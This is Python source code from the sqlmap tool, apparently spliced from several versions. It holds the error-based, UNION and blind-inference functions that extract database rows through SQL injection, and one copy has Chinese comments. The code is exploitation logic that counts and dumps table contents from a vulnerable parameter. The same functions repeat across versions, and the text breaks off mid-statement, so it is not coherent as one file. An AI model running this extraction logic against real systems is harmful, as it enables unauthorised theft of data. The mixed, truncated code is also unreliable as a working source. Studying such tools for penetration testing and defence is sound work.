def errorUse(expression, expected=None, dump=False): """ Retrieve the output of a SQL query taking advantage of the error-based SQL injection vulnerability on the affected parameter. """ initTechnique(PAYLOAD.TECHNIQUE.ERROR) abortedFlag = False count = None start = time.time() startLimit = 0 stopLimit = None output = None outputs = None untilLimitChar = None _, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(expression) # We have to check if the SQL query might return multiple entries # and in such case forge the SQL limiting the query output one # entry per time # NOTE: I assume that only queries that get data from a table can # return multiple entries if (dump and (conf.limitStart or conf.limitStop)) or (" FROM " in \ expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) \ or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not \ expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) \ and ("(CASE" not in expression.upper() or ("(CASE" in expression.upper() and "WHEN use" in expression))) \ and not re.search(SQL_SCALAR_REGEX, expression, re.I): limitRegExp = re.search(queries[Backend.getIdentifiedDbms()].limitregexp.query, expression, re.I) topLimit = re.search("TOP\s+([\d]+)\s+", expression, re.I) if limitRegExp or (Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and topLimit): if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): limitGroupStart = queries[Backend.getIdentifiedDbms()].limitgroupstart.query limitGroupStop = queries[Backend.getIdentifiedDbms()].limitgroupstop.query if limitGroupStart.isdigit(): startLimit = int(limitRegExp.group(int(limitGroupStart))) stopLimit = limitRegExp.group(int(limitGroupStop)) limitCond = int(stopLimit) > 1 elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): if limitRegExp: limitGroupStart = queries[Backend.getIdentifiedDbms()].limitgroupstart.query limitGroupStop = queries[Backend.getIdentifiedDbms()].limitgroupstop.query if limitGroupStart.isdigit(): startLimit = int(limitRegExp.group(int(limitGroupStart))) stopLimit = limitRegExp.group(int(limitGroupStop)) limitCond = int(stopLimit) > 1 elif topLimit: startLimit = 0 stopLimit = int(topLimit.group(1)) limitCond = int(stopLimit) > 1 elif Backend.isDbms(DBMS.ORACLE): limitCond = False else: limitCond = True # I assume that only queries NOT containing a "LIMIT #, 1" # (or similar depending on the back-end DBMS) can return # multiple entries if limitCond: if limitRegExp: stopLimit = int(stopLimit) # From now on we need only the expression until the " LIMIT " # (or similar, depending on the back-end DBMS) word if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): stopLimit += startLimit untilLimitChar = expression.index(queries[Backend.getIdentifiedDbms()].limitstring.query) expression = expression[:untilLimitChar] elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): stopLimit += startLimit elif dump: if conf.limitStart: startLimit = conf.limitStart - 1 if conf.limitStop: stopLimit = conf.limitStop # Count the number of SQL query entries output countedExpression = expression.replace(expressionFields, queries[Backend.getIdentifiedDbms()].count.query % '*', 1) if " ORDER BY " in expression: countedExpression = countedExpression[:countedExpression.index(" ORDER BY ")] _, _, _, _, _, _, countedExpressionFields, _ = agent.getFields(countedExpression) count = __oneShotErrorUse(countedExpression, countedExpressionFields) if isNumPosStrValue(count): if isinstance(stopLimit, int) and stopLimit > 0: stopLimit = min(int(count), int(stopLimit)) else: stopLimit = int(count) infoMsg = "the SQL query used returns " infoMsg += "%d entries" % stopLimit logger.info(infoMsg) elif count and not count.isdigit(): warnMsg = "it was not possible to count the number " warnMsg += "of entries for the SQL query provided. " warnMsg += "sqlmap will assume that it returns only " warnMsg += "one entry" logger.warn(warnMsg) stopLimit = 1 elif (not count or int(count) == 0): if not count: warnMsg = "the SQL query provided does not " warnMsg += "return any output" logger.warn(warnMsg) else: outputs = [] # for empty tables return outputs if " ORDER BY " in expression and (stopLimit - startLimit) > SLOW_ORDER_COUNT_THRESHOLD: message = "due to huge table size do you want to remove " message += "ORDER BY clause gaining speed over consistency? [y/N] " output = readInput(message, default="N") if output and output[0] in ("y", "Y"): expression = expression[:expression.index(" ORDER BY ")] threadData = getCurrentThreadData() threadData.shared.limits = iter(xrange(startLimit, stopLimit)) numThreads = min(conf.threads, (stopLimit - startLimit)) threadData.shared.outputs = BigArray() if stopLimit > TURN_OFF_RESUME_INFO_LIMIT: kb.suppressResumeInfo = True debugMsg = "suppressing possible resume console info because of " debugMsg += "large number of rows. It might take too long" logger.debug(debugMsg) try: def errorThread(): threadData = getCurrentThreadData() while kb.threadContinue: with kb.locks.limits: try: num = threadData.shared.limits.next() except StopIteration: break output = __errorFields(expression, expressionFields, expressionFieldsList, expected, num) if not kb.threadContinue: break if output and isinstance(output, list) and len(output) == 1: output = output[0] with kb.locks.outputs: threadData.shared.outputs.append(output) runThreads(numThreads, errorThread) except KeyboardInterrupt: abortedFlag = True warnMsg = "user aborted during enumeration. sqlmap " warnMsg += "will display partial output" logger.warn(warnMsg) finally: outputs = threadData.shared.outputs kb.suppressResumeInfo = False if not outputs and not abortedFlag: outputs = __errorFields(expression, expressionFields, expressionFieldsList) if outputs and isListLike(outputs) and len(outputs) == 1 and isinstance(outputs[0], basestring): outputs = outputs[0] duration = calculateDeltaSeconds(start) if not kb.bruteMode: debugMsg = "performed %d queries in %d seconds" % (kb.counters[PAYLOAD.TECHNIQUE.ERROR], duration) logger.debug(debugMsg) return outputs
def errorUse(expression, dump=False): """ 在受影响的参数上使用基于错误的SQL注入漏洞以获取SQL查询的输出。 """ initTechnique(kb.technique) abortedFlag = False count = None emptyFields = [] start = time.time() startLimit = 0 stopLimit = None value = None _, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields( expression) # 如果从API调用引擎,请设置kb.partRun kb.partRun = getPartRun(alias=False) if conf.api else None # 我们必须检查SQL查询是否能返回多个条目, # 在这种情况下,会伪造SQL限制查询输出一个条目 # 注意:我们假设只有从表中获取到查询数据的才能返回多个条目 if (dump and (conf.limitStart or conf.limitStop)) or (" FROM " in \ expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) \ or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not \ expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) \ and ("(CASE" not in expression.upper() or ("(CASE" in expression.upper() and "WHEN use" in expression))) \ and not re.search(SQL_SCALAR_REGEX, expression, re.I): expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition( expression, dump) if limitCond: # 计算输出的SQL查询条目数 countedExpression = expression.replace( expressionFields, queries[Backend.getIdentifiedDbms()].count.query % ('*' if len(expressionFieldsList) > 1 else expressionFields), 1) if " ORDER BY " in countedExpression.upper(): _ = countedExpression.upper().rindex(" ORDER BY ") countedExpression = countedExpression[:_] _, _, _, _, _, _, countedExpressionFields, _ = agent.getFields( countedExpression) count = unArrayizeValue( _oneShotErrorUse(countedExpression, countedExpressionFields)) if isNumPosStrValue(count): if isinstance(stopLimit, int) and stopLimit > 0: stopLimit = min(int(count), int(stopLimit)) else: stopLimit = int(count) infoMsg = u"使用的SQL查询返回%d个条目" % stopLimit logger.info(infoMsg) elif count and not count.isdigit(): warnMsg = u"无法计算提供的SQL查询的条目数,sqlmap将假定它只返回一个条目" logger.warn(warnMsg) stopLimit = 1 elif (not count or int(count) == 0): if not count: warnMsg = u"提供的SQL查询没有返回任何输出" logger.warn(warnMsg) else: value = [] # for empty tables return value if isNumPosStrValue(count) and int(count) > 1: # 在巨大的表上,如果每行检索都需要ORDER BY则性能会下降很多 # (在使用ERROR注入的表转储中最为显着) # SLOW_ORDER_COUNT_THRESHOLD = 10000 if " ORDER BY " in expression and ( stopLimit - startLimit) > SLOW_ORDER_COUNT_THRESHOLD: message = u"由于查询的表很大,您是否要删除ORDER BY子句以获得一致性的速度?[Y/N] " if readInput(message, default="N", boolean=True): expression = expression[:expression.index(" ORDER BY " )] numThreads = min(conf.threads, (stopLimit - startLimit)) threadData = getCurrentThreadData() try: threadData.shared.limits = iter( xrange(startLimit, stopLimit)) except OverflowError: errMsg = u"查询范围(%d到%d)太大," % (startLimit, stopLimit) errMsg += u"请重新运行'--fresh-queries'选项" raise SqlmapDataException(errMsg) threadData.shared.value = BigArray() threadData.shared.buffered = [] threadData.shared.counter = 0 threadData.shared.lastFlushed = startLimit - 1 threadData.shared.showEta = conf.eta and (stopLimit - startLimit) > 1 if threadData.shared.showEta: threadData.shared.progress = ProgressBar( maxValue=(stopLimit - startLimit)) if kb.dumpTable and (len(expressionFieldsList) < (stopLimit - startLimit) > CHECK_ZERO_COLUMNS_THRESHOLD): for field in expressionFieldsList: if _oneShotErrorUse("SELECT COUNT(%s) FROM %s" % (field, kb.dumpTable)) == '0': emptyFields.append(field) debugMsg = u"表'%s'的列'%s'将不会被转储," % (field, kb.dumpTable) debugMsg += u"因为它看起来是空的" logger.debug(debugMsg) if stopLimit > TURN_OFF_RESUME_INFO_LIMIT: kb.suppressResumeInfo = True debugMsg = u"抑制恢复控制台只显示20行信息," debugMsg += u"因为打印大量的信息流,会需要很长的时间" logger.debug(debugMsg) try: def errorThread(): threadData = getCurrentThreadData() while kb.threadContinue: with kb.locks.limit: try: valueStart = time.time() threadData.shared.counter += 1 num = threadData.shared.limits.next() except StopIteration: break output = _errorFields(expression, expressionFields, expressionFieldsList, num, emptyFields, threadData.shared.showEta) if not kb.threadContinue: break if output and isListLike(output) and len( output) == 1: output = output[0] with kb.locks.value: index = None if threadData.shared.showEta: threadData.shared.progress.progress( time.time() - valueStart, threadData.shared.counter) for index in xrange( 1 + len(threadData.shared.buffered)): if index < len( threadData.shared.buffered ) and threadData.shared.buffered[index][ 0] >= num: break threadData.shared.buffered.insert( index or 0, (num, output)) while threadData.shared.buffered and threadData.shared.lastFlushed + 1 == threadData.shared.buffered[ 0][0]: threadData.shared.lastFlushed += 1 threadData.shared.value.append( threadData.shared.buffered[0][1]) del threadData.shared.buffered[0] runThreads(numThreads, errorThread) except KeyboardInterrupt: abortedFlag = True warnMsg = u"用户在枚举期间中止,sqlmap将只显示部分输出" logger.warn(warnMsg) finally: threadData.shared.value.extend( _[1] for _ in sorted(threadData.shared.buffered)) value = threadData.shared.value kb.suppressResumeInfo = False if not value and not abortedFlag: value = _errorFields(expression, expressionFields, expressionFieldsList) if value and isListLike(value) and len(value) == 1 and isinstance( value[0], basestring): value = value[0] duration = calculateDeltaSeconds(start) if not kb.bruteMode: debugMsg = u"在%.2f秒内执行了%d个查询" % (kb.counters[kb.technique], duration) logger.debug(debugMsg) return value
def unionUse(expression, unpack=True, dump=False): """ This function tests for an UNION SQL injection on the target URL then call its subsidiary function to effectively perform an UNION SQL injection on the affected URL """ initTechnique(PAYLOAD.TECHNIQUE.UNION) abortedFlag = False count = None origExpr = expression startLimit = 0 stopLimit = None value = None width = getConsoleWidth() start = time.time() _, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(origExpr) # Set kb.partRun in case the engine is called from the API kb.partRun = getPartRun(alias=False) if conf.api else None if Backend.isDbms(DBMS.MSSQL) and kb.dumpColumns: kb.rowXmlMode = True _ = "(%s FOR XML RAW, BINARY BASE64)" % expression output = _oneShotUnionUse(_, False) value = parseUnionPage(output) kb.rowXmlMode = False if expressionFieldsList and len(expressionFieldsList) > 1 and "ORDER BY" in expression.upper(): # Removed ORDER BY clause because UNION does not play well with it expression = re.sub(r"(?i)\s*ORDER BY\s+[\w,]+", "", expression) debugMsg = "stripping ORDER BY clause from statement because " debugMsg += "it does not play well with UNION query SQL injection" singleTimeDebugMessage(debugMsg) # We have to check if the SQL query might return multiple entries # if the technique is partial UNION query and in such case forge the # SQL limiting the query output one entry at a time # NOTE: we assume that only queries that get data from a table can # return multiple entries if value is None and (kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.NEGATIVE or kb.forcePartialUnion or (dump and (conf.limitStart or conf.limitStop)) or "LIMIT " in expression.upper()) and " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) and not re.search(SQL_SCALAR_REGEX, expression, re.I): expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression, dump) if limitCond: # Count the number of SQL query entries output countedExpression = expression.replace(expressionFields, queries[Backend.getIdentifiedDbms()].count.query % ('*' if len(expressionFieldsList) > 1 else expressionFields), 1) if " ORDER BY " in countedExpression.upper(): _ = countedExpression.upper().rindex(" ORDER BY ") countedExpression = countedExpression[:_] output = _oneShotUnionUse(countedExpression, unpack) count = unArrayizeValue(parseUnionPage(output)) if isNumPosStrValue(count): if isinstance(stopLimit, int) and stopLimit > 0: stopLimit = min(int(count), int(stopLimit)) else: stopLimit = int(count) infoMsg = "used SQL query returns " infoMsg += "%d %s" % (stopLimit, "entries" if stopLimit > 1 else "entry") logger.info(infoMsg) elif count and (not isinstance(count, six.string_types) or not count.isdigit()): warnMsg = "it was not possible to count the number " warnMsg += "of entries for the SQL query provided. " warnMsg += "sqlmap will assume that it returns only " warnMsg += "one entry" logger.warn(warnMsg) stopLimit = 1 elif (not count or int(count) == 0): if not count: warnMsg = "the SQL query provided does not " warnMsg += "return any output" logger.warn(warnMsg) else: value = [] # for empty tables return value if isNumPosStrValue(count) and int(count) > 1: threadData = getCurrentThreadData() try: threadData.shared.limits = iter(xrange(startLimit, stopLimit)) except OverflowError: errMsg = "boundary limits (%d,%d) are too large. Please rerun " % (startLimit, stopLimit) errMsg += "with switch '--fresh-queries'" raise SqlmapDataException(errMsg) numThreads = min(conf.threads, (stopLimit - startLimit)) threadData.shared.value = BigArray() threadData.shared.buffered = [] threadData.shared.counter = 0 threadData.shared.lastFlushed = startLimit - 1 threadData.shared.showEta = conf.eta and (stopLimit - startLimit) > 1 if threadData.shared.showEta: threadData.shared.progress = ProgressBar(maxValue=(stopLimit - startLimit)) if stopLimit > TURN_OFF_RESUME_INFO_LIMIT: kb.suppressResumeInfo = True debugMsg = "suppressing possible resume console info because of " debugMsg += "large number of rows. It might take too long" logger.debug(debugMsg) try: def unionThread(): threadData = getCurrentThreadData() while kb.threadContinue: with kb.locks.limit: try: threadData.shared.counter += 1 num = next(threadData.shared.limits) except StopIteration: break if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): field = expressionFieldsList[0] elif Backend.isDbms(DBMS.ORACLE): field = expressionFieldsList else: field = None limitedExpr = agent.limitQuery(num, expression, field) output = _oneShotUnionUse(limitedExpr, unpack, True) if not kb.threadContinue: break if output: with kb.locks.value: if all(_ in output for _ in (kb.chars.start, kb.chars.stop)): items = parseUnionPage(output) if threadData.shared.showEta: threadData.shared.progress.progress(threadData.shared.counter) if isListLike(items): # in case that we requested N columns and we get M!=N then we have to filter a bit if len(items) > 1 and len(expressionFieldsList) > 1: items = [item for item in items if isListLike(item) and len(item) == len(expressionFieldsList)] items = [_ for _ in flattenValue(items)] if len(items) > len(expressionFieldsList): filtered = OrderedDict() for item in items: key = re.sub(r"[^A-Za-z0-9]", "", item).lower() if key not in filtered or re.search(r"[^A-Za-z0-9]", item): filtered[key] = item items = filtered.values() items = [items] index = None for index in xrange(1 + len(threadData.shared.buffered)): if index < len(threadData.shared.buffered) and threadData.shared.buffered[index][0] >= num: break threadData.shared.buffered.insert(index or 0, (num, items)) else: index = None if threadData.shared.showEta: threadData.shared.progress.progress(threadData.shared.counter) for index in xrange(1 + len(threadData.shared.buffered)): if index < len(threadData.shared.buffered) and threadData.shared.buffered[index][0] >= num: break threadData.shared.buffered.insert(index or 0, (num, None)) items = output.replace(kb.chars.start, "").replace(kb.chars.stop, "").split(kb.chars.delimiter) while threadData.shared.buffered and (threadData.shared.lastFlushed + 1 >= threadData.shared.buffered[0][0] or len(threadData.shared.buffered) > MAX_BUFFERED_PARTIAL_UNION_LENGTH): threadData.shared.lastFlushed, _ = threadData.shared.buffered[0] if not isNoneValue(_): threadData.shared.value.extend(arrayizeValue(_)) del threadData.shared.buffered[0] if conf.verbose == 1 and not (threadData.resumed and kb.suppressResumeInfo) and not threadData.shared.showEta: _ = ','.join("'%s'" % _ for _ in (flattenValue(arrayizeValue(items)) if not isinstance(items, six.string_types) else [items])) status = "[%s] [INFO] %s: %s" % (time.strftime("%X"), "resumed" if threadData.resumed else "retrieved", _ if kb.safeCharEncode else safecharencode(_)) if len(status) > width: status = "%s..." % status[:width - 3] dataToStdout("%s\n" % status) runThreads(numThreads, unionThread) if conf.verbose == 1: clearConsoleLine(True) except KeyboardInterrupt: abortedFlag = True warnMsg = "user aborted during enumeration. sqlmap " warnMsg += "will display partial output" logger.warn(warnMsg) finally: for _ in sorted(threadData.shared.buffered): if not isNoneValue(_[1]): threadData.shared.value.extend(arrayizeValue(_[1])) value = threadData.shared.value kb.suppressResumeInfo = False if not value and not abortedFlag: output = _oneShotUnionUse(expression, unpack) value = parseUnionPage(output) duration = calculateDeltaSeconds(start) if not kb.bruteMode: debugMsg = "performed %d queries in %.2f seconds" % (kb.counters[PAYLOAD.TECHNIQUE.UNION], duration) logger.debug(debugMsg) return value
def errorUse(expression, expected=None, resumeValue=True, dump=False): """ Retrieve the output of a SQL query taking advantage of the error-based SQL injection vulnerability on the affected parameter. """ initTechnique(PAYLOAD.TECHNIQUE.ERROR) global reqCount count = None start = time.time() startLimit = 0 stopLimit = None outputs = [] untilLimitChar = None untilOrderChar = None reqCount = 0 if resumeValue: output = resume(expression, None) else: output = None if output and (expected is None or (expected == EXPECTED.INT and output.isdigit())): return output _, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields( expression) # We have to check if the SQL query might return multiple entries # and in such case forge the SQL limiting the query output one # entry per time # NOTE: I assume that only queries that get data from a table can # return multiple entries if (dump and (conf.limitStart or conf.limitStop)) or (" FROM " in \ expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_TABLE) \ or (Backend.getIdentifiedDbms() in FROM_TABLE and not \ expression.upper().endswith(FROM_TABLE[Backend.getIdentifiedDbms()]))) \ and ("(CASE" not in expression.upper() or ("(CASE" in expression.upper() and "WHEN use" in expression))) \ and not any(map(lambda x: x in expression.upper(), ["COUNT(*)", "EXISTS(", "MAX(", "MIN(", "COUNT(DISTINCT"])): limitRegExp = re.search( queries[Backend.getIdentifiedDbms()].limitregexp.query, expression, re.I) topLimit = re.search("TOP\s+([\d]+)\s+", expression, re.I) if limitRegExp or (Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and topLimit): if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): limitGroupStart = queries[ Backend.getIdentifiedDbms()].limitgroupstart.query limitGroupStop = queries[ Backend.getIdentifiedDbms()].limitgroupstop.query if limitGroupStart.isdigit(): startLimit = int(limitRegExp.group(int(limitGroupStart))) stopLimit = limitRegExp.group(int(limitGroupStop)) limitCond = int(stopLimit) > 1 elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): if limitRegExp: limitGroupStart = queries[ Backend.getIdentifiedDbms()].limitgroupstart.query limitGroupStop = queries[ Backend.getIdentifiedDbms()].limitgroupstop.query if limitGroupStart.isdigit(): startLimit = int( limitRegExp.group(int(limitGroupStart))) stopLimit = limitRegExp.group(int(limitGroupStop)) limitCond = int(stopLimit) > 1 elif topLimit: startLimit = 0 stopLimit = int(topLimit.group(1)) limitCond = int(stopLimit) > 1 elif Backend.getIdentifiedDbms() == DBMS.ORACLE: limitCond = False else: limitCond = True # I assume that only queries NOT containing a "LIMIT #, 1" # (or similar depending on the back-end DBMS) can return # multiple entries if limitCond: if limitRegExp: stopLimit = int(stopLimit) # From now on we need only the expression until the " LIMIT " # (or similar, depending on the back-end DBMS) word if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): stopLimit += startLimit untilLimitChar = expression.index( queries[Backend.getIdentifiedDbms()].limitstring.query) expression = expression[:untilLimitChar] elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): stopLimit += startLimit elif dump: if conf.limitStart: startLimit = conf.limitStart if conf.limitStop: stopLimit = conf.limitStop # Count the number of SQL query entries output countedExpression = expression.replace(expressionFields, "COUNT(*)", 1) if re.search(" ORDER BY ", expression, re.I): untilOrderChar = countedExpression.index(" ORDER BY ") countedExpression = countedExpression[:untilOrderChar] count = resume(countedExpression, None) if not count or not count.isdigit(): _, _, _, _, _, _, countedExpressionFields, _ = agent.getFields( countedExpression) count = __oneShotErrorUse(countedExpression, countedExpressionFields) if (not count or (count.isdigit() and int(count) == 0)): warnMsg = "it was not possible to count the number " warnMsg += "of entries for the used SQL query. " warnMsg += "sqlmap will assume that it returns only " warnMsg += "one entry" logger.warn(warnMsg) stopLimit = 1 elif isNumPosStrValue(count): if isinstance(stopLimit, int) and stopLimit > 0: stopLimit = min(int(count), int(stopLimit)) else: stopLimit = int(count) infoMsg = "the SQL query used returns " infoMsg += "%d entries" % stopLimit logger.info(infoMsg) try: for num in xrange(startLimit, stopLimit): output = __errorFields(expression, expressionFields, expressionFieldsList, expected, num, resumeValue) if output and isinstance(output, list) and len(output) == 1: output = output[0] outputs.append(output) except KeyboardInterrupt: print warnMsg = "user aborted during enumeration. sqlmap " warnMsg += "will display partial output" logger.warn(warnMsg) if not outputs: outputs = __errorFields(expression, expressionFields, expressionFieldsList) if outputs and isinstance(outputs, list) and len(outputs) == 1 and isinstance( outputs[0], basestring): outputs = outputs[0] duration = calculateDeltaSeconds(start) if not kb.bruteMode: debugMsg = "performed %d queries in %d seconds" % (reqCount, duration) logger.debug(debugMsg) return outputs
def _goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, charsetType=None, firstChar=None, lastChar=None, dump=False): """ Retrieve the output of a SQL query characted by character taking advantage of an blind SQL injection vulnerability on the affected parameter through a bisection algorithm. """ initTechnique(getTechnique()) query = agent.prefixQuery(getTechniqueData().vector) query = agent.suffixQuery(query) payload = agent.payload(newValue=query) count = None startLimit = 0 stopLimit = None outputs = BigArray() if not unpack: return _goInference(payload, expression, charsetType, firstChar, lastChar, dump) _, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields( expression) rdbRegExp = re.search(r"RDB\$GET_CONTEXT\([^)]+\)", expression, re.I) if rdbRegExp and Backend.isDbms(DBMS.FIREBIRD): expressionFieldsList = [expressionFields] if len(expressionFieldsList) > 1: infoMsg = "the SQL query provided has more than one field. " infoMsg += "sqlmap will now unpack it into distinct queries " infoMsg += "to be able to retrieve the output even if we " infoMsg += "are going blind" logger.info(infoMsg) # If we have been here from SQL query/shell we have to check if # the SQL query might return multiple entries and in such case # forge the SQL limiting the query output one entry at a time # NOTE: we assume that only queries that get data from a table # can return multiple entries if fromUser and " FROM " in expression.upper() and ( (Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not expression.upper().endswith( FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()])) ) and not re.search(SQL_SCALAR_REGEX, expression, re.I): expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition( expression) if limitCond: test = True if not stopLimit or stopLimit <= 1: if Backend.getIdentifiedDbms( ) in FROM_DUMMY_TABLE and expression.upper().endswith( FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]): test = False if test: # Count the number of SQL query entries output countFirstField = queries[Backend.getIdentifiedDbms( )].count.query % expressionFieldsList[0] countedExpression = expression.replace(expressionFields, countFirstField, 1) if " ORDER BY " in countedExpression.upper(): _ = countedExpression.upper().rindex(" ORDER BY ") countedExpression = countedExpression[:_] if not stopLimit: count = _goInference(payload, countedExpression, charsetType=CHARSET_TYPE.DIGITS, firstChar=firstChar, lastChar=lastChar) if isNumPosStrValue(count): count = int(count) if batch or count == 1: stopLimit = count else: message = "the SQL query provided can return " message += "%d entries. How many " % count message += "entries do you want to retrieve?\n" message += "[a] All (default)\n[#] Specific number\n" message += "[q] Quit" choice = readInput(message, default='A').upper() if choice == 'A': stopLimit = count elif choice == 'Q': raise SqlmapUserQuitException elif isDigit(choice) and int(choice) > 0 and int( choice) <= count: stopLimit = int(choice) infoMsg = "sqlmap is now going to retrieve the " infoMsg += "first %d query output entries" % stopLimit logger.info(infoMsg) elif choice in ('#', 'S'): message = "how many? " stopLimit = readInput(message, default="10") if not isDigit(stopLimit): errMsg = "invalid choice" logger.error(errMsg) return None else: stopLimit = int(stopLimit) else: errMsg = "invalid choice" logger.error(errMsg) return None elif count and not isDigit(count): warnMsg = "it was not possible to count the number " warnMsg += "of entries for the SQL query provided. " warnMsg += "sqlmap will assume that it returns only " warnMsg += "one entry" logger.warn(warnMsg) stopLimit = 1 elif (not count or int(count) == 0): if not count: warnMsg = "the SQL query provided does not " warnMsg += "return any output" logger.warn(warnMsg) return None elif (not stopLimit or stopLimit == 0): return None try: try: for num in xrange(startLimit, stopLimit): output = _goInferenceFields( expression, expressionFields, expressionFieldsList, payload, num=num, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar, dump=dump) outputs.append(output) except OverflowError: errMsg = "boundary limits (%d,%d) are too large. Please rerun " % ( startLimit, stopLimit) errMsg += "with switch '--fresh-queries'" raise SqlmapDataException(errMsg) except KeyboardInterrupt: print() warnMsg = "user aborted during dumping phase" logger.warn(warnMsg) return outputs elif Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and expression.upper( ).startswith("SELECT ") and " FROM " not in expression.upper(): expression += FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()] outputs = _goInferenceFields(expression, expressionFields, expressionFieldsList, payload, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar, dump=dump) return ", ".join( output or "" for output in outputs) if not isNoneValue(outputs) else None
def unionUse(expression, unpack=True, dump=False): """ This function tests for an inband SQL injection on the target url then call its subsidiary function to effectively perform an inband SQL injection on the affected url """ initTechnique(PAYLOAD.TECHNIQUE.UNION) abortedFlag = False count = None origExpr = expression startLimit = 0 stopLimit = None value = None width = getConsoleWidth() start = time.time() _, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(origExpr) if expressionFieldsList and len(expressionFieldsList) > 1 and " ORDER BY " in expression.upper(): # No need for it in multicolumn dumps (one row is retrieved per request) and just slowing down on large table dumps expression = expression[:expression.upper().rindex(" ORDER BY ")] # We have to check if the SQL query might return multiple entries # and in such case forge the SQL limiting the query output one # entry per time # NOTE: I assume that only queries that get data from a table can # return multiple entries if (kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.NEGATIVE or \ (dump and (conf.limitStart or conf.limitStop))) and \ " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() \ not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE \ and not expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) \ and not re.search(SQL_SCALAR_REGEX, expression, re.I): limitRegExp = re.search(queries[Backend.getIdentifiedDbms()].limitregexp.query, expression, re.I) topLimit = re.search("TOP\s+([\d]+)\s+", expression, re.I) if limitRegExp or (Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and topLimit): if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): limitGroupStart = queries[Backend.getIdentifiedDbms()].limitgroupstart.query limitGroupStop = queries[Backend.getIdentifiedDbms()].limitgroupstop.query if limitGroupStart.isdigit(): startLimit = int(limitRegExp.group(int(limitGroupStart))) stopLimit = limitRegExp.group(int(limitGroupStop)) limitCond = int(stopLimit) > 1 elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): if limitRegExp: limitGroupStart = queries[Backend.getIdentifiedDbms()].limitgroupstart.query limitGroupStop = queries[Backend.getIdentifiedDbms()].limitgroupstop.query if limitGroupStart.isdigit(): startLimit = int(limitRegExp.group(int(limitGroupStart))) stopLimit = limitRegExp.group(int(limitGroupStop)) limitCond = int(stopLimit) > 1 elif topLimit: startLimit = 0 stopLimit = int(topLimit.group(1)) limitCond = int(stopLimit) > 1 elif Backend.isDbms(DBMS.ORACLE): limitCond = False else: limitCond = True # I assume that only queries NOT containing a "LIMIT #, 1" # (or similar depending on the back-end DBMS) can return # multiple entries if limitCond: if limitRegExp: stopLimit = int(stopLimit) # From now on we need only the expression until the " LIMIT " # (or similar, depending on the back-end DBMS) word if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): stopLimit += startLimit untilLimitChar = expression.index(queries[Backend.getIdentifiedDbms()].limitstring.query) expression = expression[:untilLimitChar] elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): stopLimit += startLimit elif dump: if conf.limitStart: startLimit = conf.limitStart - 1 if conf.limitStop: stopLimit = conf.limitStop # Count the number of SQL query entries output countedExpression = expression.replace(expressionFields, queries[Backend.getIdentifiedDbms()].count.query % '*', 1) if " ORDER BY " in countedExpression.upper(): _ = countedExpression.upper().rindex(" ORDER BY ") countedExpression = countedExpression[:_] output = __oneShotUnionUse(countedExpression, unpack) count = parseUnionPage(output) if isNumPosStrValue(count): if isinstance(stopLimit, int) and stopLimit > 0: stopLimit = min(int(count), int(stopLimit)) else: stopLimit = int(count) infoMsg = "the SQL query used returns " infoMsg += "%d entries" % stopLimit logger.info(infoMsg) elif count and (not isinstance(count, basestring) or not count.isdigit()): warnMsg = "it was not possible to count the number " warnMsg += "of entries for the SQL query provided. " warnMsg += "sqlmap will assume that it returns only " warnMsg += "one entry" logger.warn(warnMsg) stopLimit = 1 elif not count or int(count) == 0: if not count: warnMsg = "the SQL query provided does not " warnMsg += "return any output" logger.warn(warnMsg) else: value = [] # for empty tables return value threadData = getCurrentThreadData() threadData.shared.limits = 